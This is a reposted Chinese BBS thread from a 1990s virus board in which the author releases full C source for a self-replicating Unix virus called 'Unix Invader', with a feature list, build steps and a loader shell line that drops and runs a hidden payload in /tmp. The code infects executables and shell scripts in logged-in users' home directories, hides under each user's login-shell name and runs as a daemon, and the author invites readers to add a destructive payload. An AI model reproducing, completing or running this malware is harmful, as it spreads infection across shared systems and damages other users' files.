荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mic (酷鱼), 信区: Virus
标  题: [转载] C 写的 virus                           bluesea (转寄)
发信站: 荔园晨风BBS站 (Wed Nov 28 13:58:29 2001), 转信

【 以下文字转载自 Mic 的信箱 】
【 原文由 Mic@smth.org 所发表 】
发信人: Sanjin.bbs@bbs.cs.nthu (坚哥), 信区: virus
标  题: Re: C 写的 virus ..
发信站: 清华资讯(枫桥驿站) (Sat Nov 30 10:17:22 1996)
转信站: Firebird!news.cs.ccu!suncc.ccu!news.cc.nctu!thccx4!news.cs.nthu!maple

※ 引述《macgyver.bbs@bbs.pu.edu.tw (红尘游子)》之铭言:
: 【 在 YaKai.bbs@snow.ice.ntnu.edu.tw (无心还是悲....) 的大作中提到: 】
: :         记得有人说过有一个地方有用 C 写的 virus ...
: :         不知道可不可以再告诉我一次呢...谢谢....
:      大部份都是用组合语言写的吧!!
以前的文章,贴出来给你看看吧!

发信人: htk.bbs@vlsi1.iie.ncku.edu.tw (魔思道人), 信区: virus
标  题: 烦死了! 我丢了,别再找我要!
发信站: 成大资讯所_BBS (Fri Jun 16 15:58:12 1995)
转信站: maple!news.cs.nthu.edu.tw!news.csie.nctu.edu.tw!bbsroute!vlsi2!bar




  烦死了啦!!!  一大堆人要跟我先要,我不是说过,我考完会丢吗???
  气死人了. 好啦!! 我现在丢出来可以吧???
  我要考试了,一切问题我考完再答覆!

/*----------------cut from here -------------------------*/
/*这是一只 UNIX 下的电脑病毒,(小弟改版的新作品)
     virus name: Unix Invader (入侵者)
                                 written by NCKU htk

    其特点有:
          1.其具有 daemon process 的特性(lose control tty)
            故该process owner 没在线上,该病毒依旧能作用执行,
            不会被系统终结.
          2.其可感染 UNIX 上 script file 和 各型 binary file
            (当然要属性得宜) ,不重复感染.感染完後,该执行档或
            script file 依旧可执行...(好像是废话)
          3.其在记忆体上所用的隐藏方法是,扫描passwd file,取用
            该user 的 login shell basename 作为程式名,故,用ps -aux
            (单ps 看不到)或 top 之类的程式,要仔细看,才会被发现...(有点奸诈)
          4.其不重复长驻,顶多一个 user 一只,目地是为扩大感染能力
          5.其它...没了.
          6.本来要增加 root  kill -9 也杀不死的能力,但,时间有限,且经济
            效益不高所以作罢...(别跟我说 kill -9 pid 是无敌的,我依然有办法)
    如何实验?
          cp 几个 binary file 到你的 home directory 里,做几个开头字元
          是 # 的 script file ....
    如何起动?
          1.先把此档案设定为 filename.c
          2. gcc -O -o virus@ filename.c 或 cc -O -o virus@ filename.c
                            ^                             ^ 很重要一定要有!
          3.然後可能会有些警告讯习,管它....,然後,应该会有个 virus@ 档出现
          4. ls -l 看看该(virus@)档案长度多长,记好.
          5.用 vi 或任何 editor 再回来改 filename.c 里面的 #define 後面档案
            长度(有标示 here 的地方)
          6.然後重覆第 2.个步骤,然後得到的 virus@ 才是我们要的.
          7.执行它...ok! :)

8.你就中毒了(十秒内)........以後一旦有适合的档案将会马上被感染...
    其它:1.此 virus ,小弟未作发作部份,因为,破坏的事人人会做,我不想浪费精力
           想个残忍的破坏动作........有兴趣的人,可以自己去加上....
         2.此 virus ,在UNIX 作业系统下执行,故证明一点....只要有人类,没有什
           麽不可能有 virus 的 environment,方法是人想出来的.
         3.若以一个 system administrator 的眼光来看此毒,亦可以得到个结论,
           能被此 virus 感染的该帐号,被Crack 的机会是相当高.
         4.此 virus 目前是以线上所有人的 home directory 为感染 search 开端,
           其实,若该user 的目录下有个dynamic symbolic link 到根目录下,search
           就可能把整个wrok station 的目录扫完.
         5.此 virus 并不时时扫描目录,内定是 10 秒,唤醒一次,以免被发现... :)
         6.此 virus 是翻脸不认人的,所以你自己的目录也会被感染,自己的属姓设定
           是没有用的,所以实验前赶紧搬一搬吧!
         7.任意实验此病毒於公用的工作站是相当不道德的,作者是在自己的 linux上
           实验,您...自个好自为之,被抓到或被踢除帐号,别怪作者htk
没先跟你说.
         8.玩毒勿沉迷....呜...想当初被 Dark Slayer 带坏了,现在玩什作业系统都
           想写个 virus 看看.....唉.....我被带坏了... :~
           还有....一大堆以前 virus 版的家伙...通通要反省... :>
                 OK?
                       大家好好玩吧!

    注:Dark Slayer 乃现任 Taiwan Power Virus Orginization 头头是也...
                                          <written by NCKU htk
1995/6/15>
*/

            /*             A VIRUS IN UNIX !!!!          */
/* written by NCKU EE htk */
#include<stdio.h>
#include<fcntl.h>
#include<signal.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/param.h>
#include<sys/types.h>
#include<sys/wait.h>
#include<sys/stat.h>
#include<sys/dir.h>
#include<errno.h>
#include<stdlib.h>
#include<utmp.h>
#include<math.h>
#include<pwd.h>
#include<ftw.h>
#include<string.h>

#define CHK 512
#define PERM S_IRWXU
#define CHKT 10
#define LOADER "\nrm -f /tmp/.@`whoami`;cat < "
#define LOADER2 " |tail -c 18606 >/tmp/.@`whoami`;chmod 700
/tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n"
/*                         ^^^^^modify here !!! */
#define VL 18606
/*     and ^^^^^ here !!! */
#define VLL -VL

#define BUFSIZE 25088
#define BSI 80
#define EXE 1
#define SCR 2
  struct flock bk;
  int fo,f,status=NULL;
  int flagn=0;
void main(argc,argv,envp)
int argc;
char *argv[];
char *envp[];
{
  char *buf2,*fname;
  static char pidp[BSI]="/tmp/.";
  static char bufr[BSI]="";
  static int dec;
  unsigned int k,kep;
  struct passwd *getp;
  int caller(void);
  int chec(int);
  char *base(char *);
  char *find(void);
  void catch(void);
  int check(char *,int);
  signal(SIGCLD,SIG_IGN);

  strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec));

  fname=(char *)tempnam("/tmp",NULL);
  buf2=(char *)malloc(BUFSIZE);
  if((fo=open(argv[0],O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1);
  if((kep=lseek(fo,0L,2))>2*VL)
    {
     lseek(fo,VLL,2);
     k=read(fo,buf2,VL);
     write(f,buf2,k);
     lseek(fo,VL,0);
     while((k=read(fo,buf2,BUFSIZE))>0)
           write(f,buf2,k);
     /* ignore more lefting virus in a tail */
    }
    else
       {
       lseek(fo,VL-kep,2);
       k=read(fo,buf2,kep-VL);
       write(f,buf2,k);
       }
  close(f);
  chmod(fname,S_IRWXU);
  free(buf2);

  if((kep=fork())>0)
    {
     for(k=0;k<strlen(argv[0]);k++)
     if(*(argv[0]+k)=='@') exit(0);
     execve(fname,argv,envp);
    }
    else
  if(kep==0)
  {
   sleep(2);
   unlink(fname);

   for(k=0;k<strlen(argv[0]);k++) *(argv[0]+k)=' ';
   getp=(struct passwd *)getpwuid(getuid());
   strcpy(argv[0],base(getp->pw_shell));

  /* initialize daemon process ... */

   for(k=0;k<2;k++) close(k);
   umask(0);
   if(fork()!=0)exit(0);
   signal(SIGHUP,SIG_IGN);
   signal(SIGINT,SIG_IGN);
   signal(SIGTTOU,SIG_IGN);
   setpgrp();
   if((kep=open("/dev/tty",O_RDWR))>=0)
      { ioctl(kep,TIOCNOTTY,(char *)0);
        close(kep);
      }
   if(fork()!=0)exit(0);

   signal(SIGUSR1,catch);
   if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1);
     k=read(kep,bufr,BSI);
     if(k!=0) kill(atoi(bufr),SIGUSR1);

   strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec));
   lseek(kep,0L,0);
  do{
     k=write(kep,bufr,strlen(pidp)+1);
     while((buf2=find())!=NULL)
          {
           getp=(struct passwd *)getpwnam(buf2);
           if(chdir((buf2=(char *)getp->pw_dir))<0) continue;
           if(ftw(buf2,caller,15)!=0) continue;
          }

     sleep(CHKT);
     setutent();
     lseek(kep,0L,0);
    }while(1);
  }
}
int chec(num)
int num;
{
 int y=1;
 while((num=(int)(num/10))>=1) y++;
 return(y);
}
void catch(void)
{
  flagn=1;
}

char *base(poi)
char *poi;
{ int i;
  for(i=(strlen(poi)-1);i>=0;i--)
  if(*(poi+i)=='/') return((char *)(poi+i+1));
  return("sh");
}
char *find()
{
 static char name[9]="";
 struct utmp *goal;
 goal=(struct utmp *)getutent();
 if(goal->ut_type==USER_PROCESS)
  {
   strcpy(name,goal->ut_user);
   return(name);
  }
 if(goal==(struct utmp *)NULL) return(NULL);
}

int caller(name,statptr,type)
char *name;
struct stat *statptr;
int type;
{   unsigned int nread,ymode;
    static char load[200];
    char buf[VL],buf3[VL];
   if(type==FTW_F)
   {
    ymode=statptr->st_mode;
    if(check(name,ymode)<0)
      { if(statptr->st_uid==getuid()) chmod(name,ymode);
        return(0);
      }
    if( status==SCR )
    {
      strcpy(load,LOADER);
      strcat(load,name);
      strcat(load,LOADER2);
      lseek(f,0L,2);
      write(f,load,strlen(load));
      lseek(fo,0L,0);
      nread=read(fo,buf,VL);
      write(f,buf,nread);
    }
    if( status==EXE )
    {

     if(statptr->st_size>VL)
       {
        lseek(f,0L,0);
        nread=read(f,buf,VL);
        lseek(f,0L,2);
        write(f,buf,nread);
        lseek(fo,0L,0);
        nread=read(fo,buf,VL);
        lseek(f,0L,0);
        write(f,buf,nread);
       }
      else
         {
          lseek(f,0L,0);
          nread=read(f,buf3,VL);
          ymode=nread;
          lseek(fo,0L,0);
          nread=read(fo,buf,VL);
          lseek(f,0L,0);
          write(f,buf,nread);
          write(f,buf3,ymode);
         }
    }
   /* lseek(f,0L,0);
    lockf(f,F_ULOCK,0); */
   /* author's linux library has no above program library */

  bk.l_type=F_UNLCK;
  bk.l_whence=0;
  bk.l_len=0;
  bk.l_start=0;
  fcntl(f,F_SETLK,&bk);

  if(statptr->st_uid==getuid()) chmod(name,ymode);
    close(f);
   }
  if(flagn) exit(0);
  return(0);
}
int check(name,ymode)
char *name;
int ymode;
{
  char ch[CHK];
  char ch2[CHK];
  int rd,i;
  status=(int)NULL;
  if((f=open(name,O_RDWR))<0)
    {
    if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1);
    if((f=open(name,O_RDWR))<0) return(-1);
    }
 /* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */

  bk.l_type=F_WRLCK;
  bk.l_whence=0;
  bk.l_len=0;
  bk.l_start=0;
  if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); }

  lseek(f,0L,0);
  rd=read(f,ch,CHK);
  lseek(fo,0L,0);
  read(fo,ch2,rd);
  for(i=0;i<rd;i++)
  if(ch[i]!=ch2[i])
    {
      if( ch[0]!='#' && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) )
        {
         status=EXE; return(1); }
        else
           if( ch[0]=='#' && lseek(f,0L,2)>VL ) /* you can improve the rule */
             {
              lseek(f,VLL,2);
              rd=read(f,ch,CHK);
              lseek(fo,0L,0);
              read(fo,ch2,rd);
              for(i=0;i<rd;i++)
              if(ch[i]!=ch2[i])
                { status=SCR; return(1); }
             }
             else if(ch[0]=='#')
                    { status=SCR; return(1); }
      break;
    }
  close(f);
  return(-1);
}

/*----------------virus end-----------------*/






--
☆★☆★☆★☆★☆★☆★☆★☆★坚哥黑白签名档☆★☆★☆★☆★☆★☆★☆★☆★
★我是清华枫桥站病毒板,推理现场板板主,因为宿舍里有网路啦!所以没什麽事的话☆
☆我都会天天上站啦!各位有空可以到我的病毒板看看!很不错喔!               ★
★Email:Sanjin.bbs@bbs.cs.nthu.edu.tw    ☆
☆推理现场板成立不久,请大家多多捧场!谢谢!:)                        ★
★☆★☆★☆★☆★☆★☆★☆★ 电脑世界的三井寿 ☆★☆★☆★☆★☆★☆★☆★☆
--
※ Origin: 枫桥驿站(bbs.cs.nthu.edu.tw) ◆ From: sparc9.cc.ncku.edu.tw
.
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.28.223]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店